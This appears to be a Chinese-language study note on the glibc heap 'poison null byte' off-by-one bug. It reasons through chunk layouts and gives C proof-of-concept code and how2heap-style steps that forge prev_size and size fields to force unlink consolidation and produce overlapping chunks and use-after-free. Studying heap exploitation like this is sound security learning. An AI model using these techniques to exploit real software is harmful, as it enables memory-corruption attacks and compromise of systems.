当然不止这一种,下面最简单的形式
#include <malloc.h>
int main()
{
char * a = malloc(0x200);
char * b = malloc(0x200);
size_t real_size = malloc_usable_size(a);
a[real_size] = 0;
return 0;
}
影响:
poison_null_byte
的chunk上方进行布局利用如下图中,由于存在poison_null_byte
漏洞,chunk b的size字段的最低位被置NULL,这导致chunk b自身的size减小,且与chunk b上方紧邻的chunk a有可能会被认为处于释放状态。
想到的是,由于chunk b上方的chunk a有可能处于被释放的状态;那通过释放chunk b,能使得chunk a和chunk b合并吗(先不管行不行,先想)?
那chunk a和chunk b合并了,意义何在?chunk a和chunk b就算没有漏洞,也是可以正常读写,没有漏洞利用效果?
再想想好像也不是,如果通过释放chunk b,chunk a和chunk b合并,那chunk a会被认为处于释放状态,那chunk a就有了UAF的效果。
为了使得通过释放chunk b,chunk a和chunk b合并,chunk a需要处于一个双向链表(一般是unsorted bin)中。虽然chunk a可写,但只有poison_null_byte
漏洞,没有unsorted bin链表相关的地址,通过直接在chunk a的bk,fd处写地址的方式放弃。还可以通过释放chunk a,使得chunk a自身在unsorted bin中,可行是可行,但想要的chunk a UAF的效果消失了。
单单这两个chunk结构达不成仅poison_null_byte
漏洞的利用
假如是如下的这种样式了?
可以通过正常的chunk a写操作,修改chunk b的prev_size为chunk c和chunk a的总长度,使得chunk b和chunk c之间的内容一起合并
。前提:chunk c fd,bk必须在双向链表中。同样由于只有poison_null_byte
漏洞,需要先将chunk c释放,才能实现。
那这3个chunk通过poison_null_byte
漏洞,组成的效果是chunk a的UAF(chunk b,chunk c本身就可以写,虽然有overlap的效果,但是这么叫不合适)
没写代码
继续,如果是这种结构了?
通过chunk a修改chunk b的prev_size为chunk a + chunk c + chunk d的总长度
通过释放chunk d进入unsorted bin,再释放chunk b,可以unlink合并chunk d和chunk b之间所有的空间
形成的效果:
#include <malloc.h>
void produce_poison_null_byte(char * ptr)
{
size_t real_size = malloc_usable_size(ptr);
ptr[real_size] = 0;
}
// 在仅仅 存在 poison_null_byte 的情况下进行测试
int main()
{
size_t * a = malloc(0x100);
size_t * b = malloc(0x100);
size_t * before_victim = malloc(0x200);
size_t * victim = malloc(0x200);
size_t * after_victim = malloc(0x200);
malloc(0x8);
// 尝试 victim 上方的利用
produce_poison_null_byte((char*)before_victim);
// free(before_victim); 会触发double free
free(a);
before_victim[0x40] = 0x430;
victim[0x3f] = 0x27; // 绕过victim double free的检查
after_victim[1] = 0x27;
free(victim);
malloc(0x100);
malloc(0x100);
return 0;
}
how2heap的poison_null_byte利用
漏洞利用的效果:how2heap-2.23-09-chunk_extend_and_overlapping:5、通过 extend 前向 overlapping
漏洞利用的原理:先释放的chunk b,再触发的poison_null_byte
,使得chunk c 的prev_size固定,能够实现跨chunk合并
*(size_t*)(b+0x1f0) = 0x200
是为了绕过#define unlink(AV, P, BK, FD) { \ if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \ malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV); \
b1 = malloc(0x100); // 为了 unsorted bin 双向链表
b2 = malloc(0x80); // victim
free(b1); // 为了 unsorted bin 双向链表
free(c); // 触发 unlink合并
d = malloc(0x300); // 漏洞利用效果 overlap